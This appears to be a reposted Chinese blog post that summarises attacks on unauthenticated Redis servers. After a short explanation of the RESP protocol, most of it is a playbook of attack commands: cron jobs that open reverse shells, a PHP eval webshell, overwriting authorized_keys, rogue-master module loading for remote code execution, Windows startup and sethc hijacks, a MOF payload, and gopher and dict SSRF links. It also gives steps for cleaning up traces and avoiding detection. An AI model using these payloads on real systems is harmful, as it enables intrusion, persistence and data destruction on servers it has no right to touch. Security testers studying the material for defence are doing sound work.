暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Redis攻击利用总结

源桑小酒馆 2022-09-14
1510

Redis 基础

应用场景

Redis 是 C 语言开发一个开源高性能的 key-value 键值对存储类型的内存NoSQL数据库,且支持持久化到硬盘,广泛应用在数据集群,分布式队列,信息中间件等网络架构中。在实际渗透场景中,Redis 常常用来缓存 Session、网站页面架构、短信验证码等数据。

版本区别

Redis >= 2.8


    默认无密码。
    新增主从同步功能,换言之,从这个版本开始攻击者可以利用主从复制实现无损文件上传。
    无损文件上传,为 Windows Redis 利用拉开了很好的口子,因为可以无损上传 DLLEXEVBSLNK 等完成劫持和写入启动项。


    防杠:严格来说主从同步在 2.8 之前就有了,2.8 之前触发全量复制的命令是 sync 和 psync,但是使用 sync 只能执行全量同步,2.8 之后的命令同时支持全量同步和部分同步。总而言之,2.8 之前的主从同步是有缺陷的,而且如今也几乎不可能碰到低于 3.x 版本的 redis 了,怼着这点深究没意义。

    冷知识:所以,主从复制并不是只有 4.x - 5.x 才有的,而是从一开始就有了,只是 4.x 开始才新增了自定义 so 文件模块的功能,结合主从复制把 so 文件丢过去就能 RCE。而 6.x 也依然支持主从复制功能,只是官方新增了对 so 文件的权限校验,所以你丢个 so 文件过去也没法 RCE。具体见 commit:https://github.com/redis/redis/pull/6257

    Redis <= 3.2.0


      默认无密码,监听 0.0.0.0,裸奔


      Redis > 3.2.0


        新增保护模式(protected-mode),该模式默认开启,该模式不允许远程连接。
        默认还是无密码,但是默认监听本地 127.0.0.1,不对外开放,除非自己配置为 0.0.0.0,且把 protected-mode 改为 no


        Redis 4.x - 5.x


          默认还是无密码,且监听 127.0.0.1,新增自定义模块加载特性,结合主从复制上传so文件可利用这个可直接 RCE


          Redis 6.x


            新增了针对Redis模块和so文件的执行权限校验,所以主从复制上传的so文件无法被执行了(https://github.com/redis/redis/pull/6257),但是主从复制传输无损文件依然可用,config写文件也依然可用。


            Github Commit 标题:Modules must have execute permissions to load


            RESP 协议

            RESP 是 Redis 序列化协议的简写。它是⼀种直观的⽂本协议,优势在于实现异常简单,解析性能极好。从 Redis 2.0 开始,该协议成为 Redis 客户端与服务端通信的标准协议。

            Redis 协议将传输的结构数据分为 5 种最⼩单元类型,单元结束时统⼀加上回⻋换⾏符号 \r\n 。

            间隔符号

            Linux:\r\nWindows:\n

            5 种最小单元类型

            (1)单⾏字符串 以 + 符号开头


              +hello world\r\n


              (2)多⾏字符串 以 $ 符号开头,后跟字符串⻓度


                $11\r\nhello world\r\n


                (3)整数值 以 : 符号开头,后跟整数的字符串形式


                  :1024\r\n


                  (4)错误消息 以 - 符号开头


                    -WRONGTYPE Operation against a key holding the wrong kind of value\r\n


                    (5)数组 以 * 号开头,后跟数组的⻓度(下面数组为 [1,2,3])


                      *3\r\n:1\r\n:2\r\n:3\r\n


                      而 NULL 和 空串则使用以下方法表示:

                      NULL,⽤多⾏字符串表示,不过⻓度要写成-1


                        $-1\r\n


                        空串,⽤多⾏字符串表示,⻓度填 0


                          $0\r\n\r\n


                          Client -> Server

                          客户端向服务器发送的指令只有一种格式,多行字符串数组。比如一个简单的 set 指令 set author codehole 会被序列化成下面的字符串:


                            *3\r\n$3\r\nset\r\n$6\r\nauthor\r\n$8\r\ncodehole\r\n


                            Server -> Client

                            服务器向客户端回复的响应要支持多种数据结构,所以消息响应在结构上要复杂不少。不过再复杂的响应消息也是以上 5 中基本类型的组合。

                            (1)单行字符串响应


                              127.0.0.1:6379> set author codehole
                              OK


                              这里的 OK 就是单行响应,没有使用引号括起来。


                                +OK\r\n


                                (2)错误响应


                                  127.0.0.1:6379> incr author
                                  (error) ERR value is not an integer or out of range


                                  试图对一个字符串进行自增,服务器抛出一个通用的错误。


                                    -ERR value is not an integer or out of range


                                    (3)整数响应


                                      127.0.0.1:6379> incr books
                                      (integer) 1


                                      这里的1就是整数响应,


                                        :1\r\n


                                        (4)多行字符串响应


                                          127.0.0.1:6379> get author
                                          "codehole"


                                          这里使用双引号括起来的字符串就是多行字符串响应,


                                            $8
                                            codehole\r\n


                                            (5)数组响应


                                              127.0.0.1:6379> hset info name laoqian
                                              (integer) 1
                                              127.0.0.1:6379> hset info age 30
                                              (integer) 1
                                              127.0.0.1:6379> hset info sex male
                                              (integer) 1
                                              127.0.0.1:6379> hgetall info
                                              1) "name"
                                              2) "laoqian"
                                              3) "age"
                                              4) "30"
                                              5) "sex"
                                              6) "male"


                                              这里的 hgetall 命令返回的就是一个数组,第 1|3|5 位置的字符串是 hash 表的 key,第 2|6|6 位置的字符串是 value,客户端负责将数组组装成字典再返回。


                                                *6\r\n
                                                $4\r\n
                                                name\r\n
                                                $6\r\n
                                                laoqian\r\n
                                                $3\r\n
                                                age\r\n
                                                $2\r\n
                                                30\r\n
                                                $3\r\n
                                                sex\r\n
                                                $4\r\n
                                                male\r\n


                                                (6)嵌套


                                                  127.0.0.1:6379> scan 0
                                                  1) "0"
                                                  2) 1) "info"
                                                  2) "books"
                                                  3) "author"


                                                  scan 命令用来扫描服务器包含的所有 key 列表,它是以游标的形式获取,一次只获取一部分。

                                                  scan 命令返回的是一个嵌套数组。数组的第一个值表示游标的值,如果这个值为零,说明已经遍历完毕。如果不为零,使用这个值作为 scan 命令的参数进行下一次遍历。数组的第二个值又是一个数组,这个数组就是 key 列表。


                                                    *2\r\n
                                                    $1\r\n
                                                    0\r\n
                                                    *3\r\n
                                                    $4\r\n
                                                    info\r\n
                                                    $5\r\n
                                                    books\r\n
                                                    $6\r\n
                                                    author\r\n


                                                    config 命令

                                                    Redis自身提供了一个config的命令,我们可以利用来实现备份功能,然后备份的文件名和备份的路径都可以通过以下命令控制:


                                                      127.0.0.1:6379> config set dbfilename
                                                      127.0.0.1:6379> config set dir


                                                      攻击者则可以利用这个特性写入任意文件到任意路径,在低版本 Redis 的渗透场景中,一般围绕这点进行利用。

                                                      注意事项

                                                      该方法写入的文件会把原来存在的文件给覆写掉,例如写 ssh key,原来的 authorized_keys 就会被彻底覆写,如果主机的管理员本来就是通过 ssh key 进行登录的话,这样做就会造成原来的管理员无法登录,从而打草惊蛇。Redis 默认写入文件的权限是 644(rw-r--r--),所以对于文件权限有要求的就无法利用了。(例如 ubuntu 的计划任务 var/spool/cron/crontabs/root 的文件权限必须是 600 才能成功被执行)

                                                      LZF压缩

                                                      Redis 默认采用 LZF 算法对生成的 RDB 文件做压缩处理,压缩后的文件远远小于内存大小,该压缩默认开启,当我们通过 save 来保存数据到磁盘中时,如果数据中有高冗余数据,那么这部分数据会被 LZF 压缩。例如:


                                                        44444444444444444444444444444444444


                                                        将被压缩为:


                                                          444...444


                                                          如何我们的 payload 中正好有这样的高冗余数据,LZF压缩会改变我们的 payload,使之失效。

                                                          我们可以通过下面的语句将其关闭:


                                                            config set rdbcompression no


                                                            flushall 的危险性

                                                            在我们通过 config 数据库备份的方式写计划任务、ssh key 或者 webshell 的时候,为了避免写文件时写入脏数据,一般会先执行 flushall 来清空所有缓存数据,但这样其实可能会对站点业务造成影响,例如下面的写 webshell 操作,开头就进行了 flushall:


                                                              flushall
                                                              config set dir /var/www/html/
                                                              config set dbfilename redis.php
                                                              set shell '<?php @eval($_POST["x"]); ?>'
                                                              save


                                                              我们可以利用 redis 本身的特性来避开这个风险,redis 默认数据库有 16 个,连接成功后默认使用的是 0 号数据库(所以默认清空的是 0 号数据库数据),我们可以使用 select 语句切换数据库,每切换一次就使用 dbsize 查看当前数据库数据量,从 0 到 15一个个试,直到找到 dbsize 为 0 的数据库,然后在这个数据库中完成恶意操作即可,而且也不需要执行 flushall 命令了。


                                                                127.0.01:6379> select 5
                                                                OK
                                                                127.0.01:6379[5]> dbsize
                                                                (integer) 0
                                                                  select 5
                                                                  config set dir /var/www/html/
                                                                  config set dbfilename redis.php
                                                                  set shell '<?php @eval($_POST["x"]); ?>'
                                                                  save


                                                                  注意:即使 flushall 了,还是会存在 redis 本身的元数据,所以对于解析格式非常严格的文件(例如:debian、ubuntu 的计划任务文件),就无法利用了

                                                                  漏洞利用

                                                                  信息探测

                                                                  info命令

                                                                  一般关注以下信息:redis 版本、进程id、系统版本、系统架构


                                                                    127.0.01:6379> info


                                                                    响应:


                                                                      # Server
                                                                      redis_version:4.0.14
                                                                      redis_git_sha1:00000000
                                                                      redis_git_dirty:0
                                                                      redis_build_id:3914f9509eb3b682
                                                                      redis_mode:standalone
                                                                      os:Linux 5.10.0-kali7-amd64 x86_64
                                                                      arch_bits:64
                                                                      multiplexing_api:epoll
                                                                      atomicvar_api:atomic-builtin
                                                                      gcc_version:6.3.0
                                                                      process_id:1
                                                                      run_id:9ea21c03d48f0672bc36d222373d072040640bf6
                                                                      tcp_port:6379
                                                                      uptime_in_seconds:69
                                                                      uptime_in_days:0
                                                                      hz:10
                                                                      lru_clock:1682199
                                                                      executable:/data/redis-server
                                                                      config_file:


                                                                      config get * 命令

                                                                      获取 config 文件的所有配置项 value 值,一般关注:是否已配置主从服务器、持久化的数据库文件名、连接密码、日志文件。


                                                                        127.0.01:6379> config get *


                                                                        响应:


                                                                            1) "dbfilename"
                                                                          2) "dump.rdb"
                                                                          3) "requirepass"
                                                                          4) ""
                                                                          5) "masterauth"
                                                                          6) ""
                                                                          7) "cluster-announce-ip"
                                                                          8) ""
                                                                          9) "unixsocket"
                                                                          10) ""
                                                                          11) "logfile"
                                                                          12) ""
                                                                          13) "pidfile"
                                                                          14) ""
                                                                          15) "slave-announce-ip"
                                                                          16) ""
                                                                          ...


                                                                          写计划任务

                                                                          利用条件

                                                                          redis 服务使用 root 账号启动CentOS机器(在 debian、ubuntu 等环境中由于这些环境对计划任务的格式解析非常严格,所以没办法执行成功)

                                                                          计划任务格式


                                                                            # Example of job definition:
                                                                            # .---------------- minute (0 - 59)
                                                                            # | .------------- hour (0 - 23)
                                                                            # | | .---------- day of month (1 - 31)
                                                                            # | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
                                                                            # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
                                                                            # | | | | |
                                                                            # * * * * * user-name command to be executed


                                                                            例如,下面这个是每1分钟反弹1次shell:


                                                                              */1 * * * * bash -i >& dev/tcp/X.X.X.X/7789 0>&1


                                                                              可以写的计划任务:

                                                                              /var/spool/cron/root(文件,且文件名得问用户名)/etc/crontab(文件,计划任务中得指明用户名,且程序都要用绝对路径)

                                                                              利用过程

                                                                              就正常写计划任务就行,只是要在前后加上 \n\n:


                                                                                flushall
                                                                                set 1 "\n*/1 * * * * bin/bash -i >& dev/tcp/127.0.0.1/7789 0>&1\n"
                                                                                config set dir /var/spool/cron/
                                                                                config set dbfilename root
                                                                                save


                                                                                注意:网上的 redis getshell 计划任务语句大都有问题,只有这条可以,核心就是要在语句的左右两边都加1个 \n 。

                                                                                如果是自己复现,可以使用下面的语句查看计划任务执行状态:


                                                                                  tail -f vim /var/log/cron


                                                                                  其它计划任务路径

                                                                                  /etc/crontab(文件)(该文件只有root可写)

                                                                                  区别在于,这个计划任务中需要指明由哪个用户执行,例如:


                                                                                    */1 * * * * root bin/bash -i >& /dev/tcp/127.0.0.1/7789 0>&1


                                                                                    经笔者测试,这个文件在带入 redis 脏数据后即使成功换行了也无法成功得到执行,具体原因不详,如果有朋友解决了这个可以在评论区补充。目前只能通过主从复制带入无损文件 crontab 进行利用。

                                                                                    注意:/etc/crontab 中的环境变量是与系统独立的,也就是说,任何程序都要写绝对路径才能成功,例如 bash 必须得写成 bin/bash,不然无法成功反弹 shell

                                                                                    /etc/cron.hourly、/etc/cron.weekly、/etc/cron.mouthly、/etc/cron.daily(文件夹,且只有 root 可在里面写文件)

                                                                                    顾名思义,放在里面的 sh 脚本文件会被按照对应的时间(时、周、月、日)呈规律被执行,但是,脚本需要具备可执行权限(x)才可被执行,而我们通过 redis 主从同步复制进去的文件默认权限为 rw-r--r-- ,所以几个计划任务路径无法通过 redis 完成利用。

                                                                                    写 ssh 公钥

                                                                                    利用条件

                                                                                    redis 服务使用 root 账号启动服务器开放了SSH服务,而且允许使用密钥登录(服务器默认关闭 key 登录选项)

                                                                                    注意:经实战测试,阿里云机器(CentOS)的这个选项虽然是被注释掉的,但是其实只要你写key,就能直接通过 key 去连接,原因不详,测试时发现 authorized_keys 中已经有一个 key,是阿里云的,可能这是官方的需求吧。从其它笔者的文章能看出,云主机基本都是默认就可以通过key去连接。所以,只要不是管理员故意设置为 no,那么都是可以的。


                                                                                      默认在/etc/ssh/sshd_config中不开启


                                                                                      #PubkeyAuthentication yes


                                                                                      利用过程

                                                                                      (1)生成一对 ssh 公私钥


                                                                                        ssh-keygen -t rsa -f ./id_rsa
                                                                                        # 然后指定在当前目录生成2个文件 私钥:id_rsa 公钥:id_rsa.pub


                                                                                        (2)因为即使 flushall 了也还是有脏数据,但是幸好 Linux 对 authorized_keys 的解析是比较模糊的,通过换行不让脏数据和公钥数据挤在一行即可,所以为了保证写入的 authorized_key 能被解析,必须引入换行符 \n\n


                                                                                          flushall
                                                                                          set xxx "\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5j6OSioyj1AdNH2wSs9vC0ta+1ZZjHwFOZeI974xAMt7awC50covqX/s34pl3+PUewENS6vHrGp40csmUmb0Hd1390df5KUMkI4DxN2TicPeg9+DdjwY7j0V5T/5VfBrTYmItj+MstUyNoYzxKac+Npx5OtsoRqFYwPcXLB/EL5Fl+LZUFP3HzLsS7KkVSCtcxbv6Lx4BqnPPBednIJIjuJ1Wlh8BkEYUnqSOPzOZCJJ0kvMe4RmJrSafcf9q+Ifx2pUkw0ZxYwPjt8yvISZKvPlxOd8TY2Joa6lnmKEhTd/t94SzBCAoHi3zmOcKEaRV7foyvUFvTDZvmPpvVTRZYW8PEbFc/LxwJvIKnypm4t5aqSDhWetR+lud9Qc1jpktAOx9UIA1jlvEwmN08iyE61o4TPv/RLVvTRfE/3DN2kNAKIdU47QEqKL0TKQ85BrSFk5Jjry/EfRwjtn1ZUS4mk0fWZVOopy2WcqUUlEaMoQfTQmOJqR3pqLiLSwi37s= root@kali\n\n"


                                                                                          (3)写入 key 文件


                                                                                            config set dir /root/.ssh/
                                                                                            config set dbfilename authorized_keys
                                                                                            save


                                                                                            (4)连接


                                                                                              ssh -i ./id_rsa root@1.1.1.1 w


                                                                                              写 webshell

                                                                                              利用条件

                                                                                              redis 服务使用 root 账号启动已知 web 绝对路径

                                                                                              利用过程


                                                                                                flushall
                                                                                                config set dir /var/www/html/
                                                                                                config set dbfilename redis.php
                                                                                                set shell '<?php @eval($_POST["x"]); ?>'
                                                                                                save


                                                                                                主从复制配合动态库加载

                                                                                                利用条件

                                                                                                redis 4.xredis 5.x

                                                                                                利用原理

                                                                                                主从模式指使用一个 redis 作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写,该功能从 redis 2.8+ 开始有。

                                                                                                在 reids  4.x 之后,通过外部拓展,可以通过构造 so 文件在 redis 中实现一个新的 redis 命令。在两个 redis 实例设置主从模式的时候,redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上,然后在从机上加载恶意so文件,即可执行命令。

                                                                                                先利用主从复制把 so 文件远程复制过去,然后再通过 MODULE LOAD 来加载 so 文件即可 RCE,其过程如下:


                                                                                                  第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点(或者自己开个redis服务,通过config文件把dbfilename设置为exp文件的名字就行)
                                                                                                  第二步,我们设置备份文件名为so文件
                                                                                                  第三步,设置传输方式为全量传输
                                                                                                  第四步,加载恶意so文件,实现任意命令执行


                                                                                                  注意:由于采用的是全量传输备份,所以该利用方式会将对方所有数据库清空覆盖,很容易打草惊蛇,而且对业务可能会造成不可挽回的影响

                                                                                                  利用过程

                                                                                                  手工利用

                                                                                                  (1)在 VPS 上启动使用此脚本模仿 redis 主服务器(https://github.com/Dliv3/redis-rogue-server)


                                                                                                    python3 redis-rogue-server.py --server-only


                                                                                                    注意:

                                                                                                    so 文件源码为 https://github.com/puckiestyle/RedisModules-ExecuteCommand ,可自行编译该脚本默认监听 21000 端口

                                                                                                    (2)客户端设置主从备份,并进行 Module Load


                                                                                                      config set dir ./
                                                                                                      config set dbfilename exp.so
                                                                                                      slaveof 1.1.1.1 21000 #上面看绑定的服务段端口是21000
                                                                                                      module load ./exp.so
                                                                                                      slaveof no one
                                                                                                      system.exec 'whoami'


                                                                                                      清理痕迹
                                                                                                      config set dbfilename dump.rdb
                                                                                                      system.exec 'rm ./exp.so'
                                                                                                      module unload system


                                                                                                      自动化利用

                                                                                                      其实就是把上面客户端执行的命令自动帮你完成了。

                                                                                                      工具源码:https://github.com/Ridter/redis-rce


                                                                                                        python3 redis-rce.py -r 1.1.1.1 -L 2.2.2.2 -f exp.so


                                                                                                        场景绕过

                                                                                                        禁用 config 命令绕过

                                                                                                        管理员可以通过以下命令来禁用 config 命令,


                                                                                                          rename-command CONFIG ""


                                                                                                          这样的话我们就无法自定义路径和文件名了,但是这并不影响主从复制的利用,我们还是可以利用主从复制把 so 文件丢过去,只是由于无法自定义路径和文件名,所以我们的 so 文件传过去后会会变为 dump.rdb,直接利用通过以下方法正常加载还是能 RCE:


                                                                                                            module load /data/dump.rdb


                                                                                                            注意:/data/dump.rdb 为 redis 数据库文件默认路径

                                                                                                            Windows 场景利用

                                                                                                            Windows Redis 的安装包停留在了 3.x 版本(https://github.com/microsoftarchive/redis)。

                                                                                                            所以,Windows 下的 redis 的利用方法有下面两个(除非用了第三方组织的 5.x 版本,不然只有这三个):

                                                                                                            写 webshell写启动项主从复制劫持

                                                                                                            而 redis 在写文件的时候会有一些版本信息以及脏数据,所以用普通手段无法写出正常的DLL、EXE、LINK 等文件,但是,得益于 redis 原生支持的主从复制功能,我们可以无损上传文件,下面会讲。

                                                                                                            写 Webshell

                                                                                                            这是 getshell 成功率的办法了。


                                                                                                              flushall
                                                                                                              config set dir C:\phpStudy\PHPTutorial\WWW
                                                                                                              config set dbfilename log.php
                                                                                                              set shell '<?php @eval($_POST["x"]); ?>'
                                                                                                              save


                                                                                                              无损上传劫持

                                                                                                              redis 全版本支持主从复制,Windows 的 Redis 3.x 虽然没有 Module Load 功能,但我们只通过主从复制来完成 getshell,通过以下方式:

                                                                                                              写启动项(需要目标重启或注销)系统 DLL
                                                                                                              劫持 (需要目标重启或注销)
                                                                                                              针对特定软件的 DLL
                                                                                                              劫持(需要知道软件的绝对路径,需要目标一次点击)
                                                                                                              覆写目标的快捷方式 (需要知道用户名,需要目标一次点击)覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击,主要看是什么软件)覆写 sethc.exe 粘滞键(需要可以登录3389)windows mof (Windows Server 2003)

                                                                                                              使用这个开源项目即可:https://github.com/r35tart/RedisWriteFile

                                                                                                              写启动项

                                                                                                              往下面目录写入 VBS、Powershell、Exe:


                                                                                                                C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup


                                                                                                                如果管理员将 Redis 添加了服务项并配了一个高权限(如Administrator甚至SYSTEM),那么 Administrator 账户的路径就一定可写了。


                                                                                                                  python3 RedisWriteFile.py --rhost=192.168.52.192 --lhost=192.168.52.128 --rpath="C:\Users\Test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" --rfile=exp.vbs --lfile=log.vbs


                                                                                                                  缺点:

                                                                                                                  这个利用比较鸡肋,因为 Windows Server 的话是很少关机的,如果没有 BDoS 漏洞的话,我们得等待对方重启,payload 才能执行用户名得爆破,且爆破成功得机率很低,而且 Administrator 用户不一定存在(大部分时候为具有 Administrator 权限的自定义用户)

                                                                                                                  劫持 system 文件

                                                                                                                  利用条件

                                                                                                                  Redis 以 SYSTEM 权限运行(注意:不是 Administrator,而是要 SYSTEM)UAC 彻底关闭

                                                                                                                  这个利用点几乎不可能在实战中用到,因为需要管理员或者SYSTEM权限,这里主要指的是通过写文件覆盖已有的文件或劫持DLL以达到欺骗的目的,虽然还是被动等待上线,但概率明显要比等机器重启要高得多。比较通用的方法是向 system32 目录下写文件,但 NT6(Vista/7/8/8.1/10/11) 及以上操作系统的 UAC 必须关掉,或 Redis 以 SYSTEM 权限启动,否则脚本显示成功但实际上是无法写入的。

                                                                                                                  而在 Windows 中,管理员常用的,有两种方式使程序以 SYSTEM 权限运行:

                                                                                                                  利用 Windows 自带的任务计划程序,计划任务默认以 SYSTEM 权限运行程序创建服务,以服务方式启动的程序默认都以 SYSTEM 权限运行


                                                                                                                    python3 RedisWriteFile.py --rhost=192.168.52.192 --lhost=192.168.52.128 --rpath="C:\Windows\System32" --rfile=sethc.exe --lfile=cmd.exe


                                                                                                                    MOF

                                                                                                                    如果目标机器是03那就比较幸运了,不用再被动等待人为操作了。 托管对象格式 (MOF)  文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:


                                                                                                                      C:/windows/system32/wbem/mof/nullevt.mof


                                                                                                                      其作用是每隔五秒就会去监控进程创建和死亡。但这个默认5秒执行一次的设定只有03及以下系统才会有。 例如如下脚本执行时会执行系统命令:


                                                                                                                        #pragma namespace("\\\\.\\root\\subscription") 


                                                                                                                        instance of __EventFilter as $EventFilter
                                                                                                                        {
                                                                                                                        EventNamespace = "Root\\Cimv2";
                                                                                                                        Name = "filtP2";
                                                                                                                        Query = "Select * From __InstanceModificationEvent "
                                                                                                                        "Where TargetInstance Isa \"Win32_LocalTime\" "
                                                                                                                        "And TargetInstance.Second = 5";
                                                                                                                        QueryLanguage = "WQL";
                                                                                                                        };


                                                                                                                        instance of ActiveScriptEventConsumer as $Consumer
                                                                                                                        {
                                                                                                                        Name = "consPCSV2";
                                                                                                                        ScriptingEngine = "JScript";
                                                                                                                        ScriptText =
                                                                                                                        "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping sfas.g9bubn.ceye.io \")";
                                                                                                                        };


                                                                                                                        instance of __FilterToConsumerBinding
                                                                                                                        {
                                                                                                                        Consumer = $Consumer;
                                                                                                                        Filter = $EventFilter;
                                                                                                                        };


                                                                                                                        将其保存为 nullevt.mof 并写入C:/windows/system32/wbem/mof 路径下,而且由于03没有默认UAC的控制,只要权限够就可以直接写入。 写入后几秒钟脚本就会执行,执行成功会放在good文件夹,失败放在bad文件夹。


                                                                                                                          python3 RedisWriteFile.py --rhost=192.168.52.192 --lhost=192.168.52.128 --rpath="C:\windows\system32\wbem\mof" --rfile=nullevt.mof --lfile=nullevt.mof


                                                                                                                          主从复制配合动态库加载

                                                                                                                          虽然微软对 Windows 版 Redis 的更新停留在了 3.x,但是也有其它第三方团队针对 Windows 平台做了 Redis 的适配,例如下面这个项目,直接适配到了 5.x 版本:


                                                                                                                            https://github.com/tporadowski/redis


                                                                                                                            所以,即使是 Windows 平台,只要版本为 4.x 或 5.x ,同样可以进行 Module Load 直接 RCE。

                                                                                                                            主从复制配合 Module Load 与 Linux 步骤一致,只是文件不能是 so 文件了,而得是 Windows 平台的 DLL,DLL 项目源码如下:


                                                                                                                              https://github.com/0671/RedisModules-ExecuteCommand-for-Windows


                                                                                                                              利用过程

                                                                                                                              (1)先把 DLL 传递过去


                                                                                                                                python3 RedisWriteFile.py --rhost=192.168.52.204 --lhost=192.168.52.128 --rpath="." --rfile=exp.dll --lfile=exp.dll


                                                                                                                                (2)执行命令


                                                                                                                                  127.0.0.1:6379> module load exp.dll
                                                                                                                                  127.0.0.1:6379> exp.e whoami
                                                                                                                                  127.0.0.1:6379> exp.e net user


                                                                                                                                  SSRF 对 Redis 的利用

                                                                                                                                  SSRF打Redis常用协议

                                                                                                                                  dict 协议

                                                                                                                                  dict协议,字典服务器协议, A Dictionary Server Protocol ,dict 是基于查询响应的TCP协议。

                                                                                                                                  使用格式


                                                                                                                                    dict://serverip:port/命令:参数


                                                                                                                                    优缺点

                                                                                                                                    优点:会自动在末尾补上\r\n缺点:命令多条的话,需要一条条地去执行,因为不支持传入换行,也不会对 %0d%0a 解码

                                                                                                                                    gopher 协议

                                                                                                                                    互联网上使用的分布型的文件搜集获取网络协议,支持多行输入。

                                                                                                                                    使用格式


                                                                                                                                      gopher://serverip:port/_data


                                                                                                                                      冷知识:之所以在data 前面加 _ ,是因为 gopher 协议传输过去的第1个字符会被吞掉,所以得乱加个占位符

                                                                                                                                      可利用版本

                                                                                                                                      PHP:使用了 --write-curlwrappers 编译参数且 php 版本至少为 5.3Java:小于 JDK 1.7Curl:低版本不支持Perl:支持ASP.NET:小于版本 3

                                                                                                                                      信息探测

                                                                                                                                      探测 redis 服务是否存在:


                                                                                                                                        curl "dict://127.0.0.1:6379"


                                                                                                                                        回显:不同版本回显的内容也不同,但回显内容开头必然是 -ERR,例如以下两个,


                                                                                                                                          -ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
                                                                                                                                          +OK
                                                                                                                                            -ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY)
                                                                                                                                            +OK


                                                                                                                                            也可以直接读取配置基本信息:


                                                                                                                                              curl "dict://127.0.0.1:6379/info"


                                                                                                                                              无认证 SSRF 攻击

                                                                                                                                              dict协议


                                                                                                                                                1.设置保存文件名
                                                                                                                                                curl dict://127.0.0.1:6379/config:set:dbfilename:exp.so
                                                                                                                                                2.连接远程主服务器
                                                                                                                                                curl dict://127.0.0.1:6379/slaveof:192.168.52.128:21000
                                                                                                                                                3.载入 exp.so
                                                                                                                                                curl dict://127.0.0.1:6379/module:load:./exp.so
                                                                                                                                                4.断开主从
                                                                                                                                                curl dict://127.0.0.1:6379/slaveof:no:one
                                                                                                                                                5.恢复原始文件名
                                                                                                                                                curl dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
                                                                                                                                                6.执行命令
                                                                                                                                                curl dict://127.0.0.1:6379/system.exec:'whomai'
                                                                                                                                                7.删除痕迹
                                                                                                                                                curl dict://127.0.0.1:6379/system.exec:rm './exp.so'


                                                                                                                                                gopher 协议

                                                                                                                                                手工利用

                                                                                                                                                对 redis 构造 gopher 数据的其实很简单,就是 “开头加 _ ,空格用 %20 替换,换行用 %0d%0a 替换” 就完事,压根不需要整 wireshark 抓包然后又十六进制转换啥的,网上的文章大多通过抓包搞定,其实没必要,也很蛋疼。

                                                                                                                                                由于主从复制需要一定的时间来传输文件,所以切不可把 slaveof 命令和 module load 命令直接写在一个 gopher 链接中,我们分成两次,第一次 gopher 先 slaveof 把文件同步过去,第二次 module load 加 exec 执行命令。

                                                                                                                                                (1)执行 slaveof 语句,把文件通过主从同步复制过去


                                                                                                                                                  gopher://127.0.0.1:6379/_config%20set%20dbfilename%20exp.so%0d%0aslaveof%20192.168.52.128%2021000%0d%0aquit


                                                                                                                                                  上述 gopher 数据意思为:


                                                                                                                                                    config set dbfilename exp.so
                                                                                                                                                    slaveof 192.168.52.128 21000
                                                                                                                                                    quit


                                                                                                                                                    (2)等待一会,再执行第二条语句执行 module load 来正式加载模块


                                                                                                                                                      gopher://127.0.0.1:6379/_module%20load%20./exp.so%0d%0asystem.exec%20'whomai'%0d%0aquit


                                                                                                                                                      上述 gopher 数据意思为:


                                                                                                                                                        module load ./exp.so
                                                                                                                                                        system.exec 'whomai'
                                                                                                                                                        quit


                                                                                                                                                        注意:之所以每一条后面都加 quit,是因为如果不加 curl 会一直卡在连接状态不退出,造成 SSRF 无法回显

                                                                                                                                                        自动化利用

                                                                                                                                                        这个脚本会生成一段 gopher 链接:https://github.com/tarunkant/Gopherus.git


                                                                                                                                                          gopherus --exploit redis


                                                                                                                                                          脚本使用 resp协议来交互,目前仅支持自定义 web 路径写 webshell。

                                                                                                                                                          带认证 SSRF 攻击

                                                                                                                                                          有密码的话虽然可以使用 dict 协议进行密码认证,但是因为 dict 不支持多行命令的原因,这样就导致认证后的参数无法执行,所以 dict 协议是没法攻击带认证的 Redis 服务的,因此,我们只能使用 gopher 协议。

                                                                                                                                                          gopher

                                                                                                                                                          也很简单,就是在无认证攻击的语句前加上 auth 语句进行认证进行。

                                                                                                                                                          (1)执行 slaveof 语句,把文件通过主从同步复制过去


                                                                                                                                                            gopher://127.0.0.1:6379/_auth%20123123%0d%0aconfig%20set%20dbfilename%20exp.so%0d%0aslaveof%20192.168.52.128%2021000%0d%0aquit


                                                                                                                                                            上述 gopher 数据意思为:


                                                                                                                                                              auth 123123
                                                                                                                                                              config set dbfilename exp.so
                                                                                                                                                              slaveof 192.168.52.128 21000
                                                                                                                                                              quit


                                                                                                                                                              (2)等待一会,再执行第二条语句执行 module load 来正式加载模块


                                                                                                                                                                gopher://127.0.0.1:6379/_auth%20123123%0d%0amodule%20load%20./exp.so%0d%0asystem.exec%20'whomai'%0d%0aquit


                                                                                                                                                                上述 gopher 数据意思为:


                                                                                                                                                                  auth 123123
                                                                                                                                                                  module load ./exp.so
                                                                                                                                                                  system.exec 'whomai'
                                                                                                                                                                  quit


                                                                                                                                                                  无回显利用

                                                                                                                                                                  那就死马当做活马医,直接把该打的payload都打过去,坐等弹 shell,没有就算了。

                                                                                                                                                                  文章转载自源桑小酒馆,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                                                                                                                                                  评论